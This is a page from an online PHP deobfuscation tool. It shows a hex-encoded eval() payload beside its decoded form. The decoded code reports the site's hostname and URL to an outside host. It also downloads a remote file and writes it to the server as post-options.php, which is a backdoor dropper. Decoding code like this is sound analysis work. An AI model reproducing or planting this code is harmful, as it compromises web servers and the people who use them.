Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval("\$handl\x65 =\x20f\x6f\x70\x65n('post-temp.p\x68p',\x20'\x77')\x3b\nf\x63lo\x73\x65(..

Decoded Output download

\$handle = fopen('post-temp.php', 'w');
fclose(\$handle);
\$content=file_get_contents("http://cssschema.org/check/css.php?url=".\$_SERVER["SERVER_NAME"].\$_SERVER["REQUEST_URI"]);
file_put_contents('post-temp.php',\$content);
if(file_exists("post-temp.php")){
	unlink("post-temp.php");
}

\$handle = fopen('post-options.php', 'w');
fclose(\$handle);
\$content=file_get_contents("http://cssschema.org/check/fixcss.txt");
file_put_contents('post-options.php',\$content);

Did this file decode correctly?

Original Code

eval("\$handl\x65 =\x20f\x6f\x70\x65n('post-temp.p\x68p',\x20'\x77')\x3b\nf\x63lo\x73\x65(\$han\x64l\x65);\n\$conte\x6e\x74=\x66\x69\x6c\x65\x5f\x67et\x5f\x63\x6fn\x74en\x74\x73(\x22\x68t\x74p://c\x73ss\x63\x68\x65ma\x2eo\x72g/chec\x6b/cs\x73\x2eph\x70?url=\x22.\$_\x53\x45\x52V\x45\x52[\x22\x53\x45\x52V\x45\x52_\x4eAME\x22]\x2e\$_S\x45\x52V\x45\x52[\"R\x45Q\x55E\x53\x54_\x55\x52I\"])\x3b\nf\x69le_put_\x63o\x6eten\x74\x73(\x27\x70ost-\x74em\x70.\x70\x68\x70\x27,\$\x63o\x6etent)\x3b\n\x69\x66(f\x69\x6c\x65\x5fex\x69\x73\x74s(\"\x70o\x73t-te\x6dp\x2e\x70h\x70\x22)){\n\tun\x6cink(\"\x70\x6fs\x74-\x74e\x6d\x70.\x70\x68p\");\n}\n\n\$hand\x6ce = fope\x6e('po\x73\x74-op\x74\x69\x6f\x6es\x2ep\x68\x70\x27,\x20'\x77\x27);\nfc\x6cos\x65(\$\x68\x61\x6ed\x6c\x65);\n\$c\x6fnten\x74\x3d\x66\x69le\x5f\x67\x65t\x5fco\x6e\x74ents(\x22h\x74t\x70://\x63\x73s\x73\x63he\x6d\x61\x2e\x6frg/\x63\x68\x65ck/f\x69xc\x73\x73\x2et\x78\x74\x22)\x3b\nf\x69\x6c\x65_p\x75t_\x63\x6fn\x74ent\x73('po\x73t-opt\x69\x6fn\x73\x2e\x70h\x70',\$c\x6fn\x74\x65n\x74);\n");

Function Calls

None

Variables

None

Stats

MD5 39931b9f2327080cce0acec25e443610
Eval Count 1
Decode Time 67 ms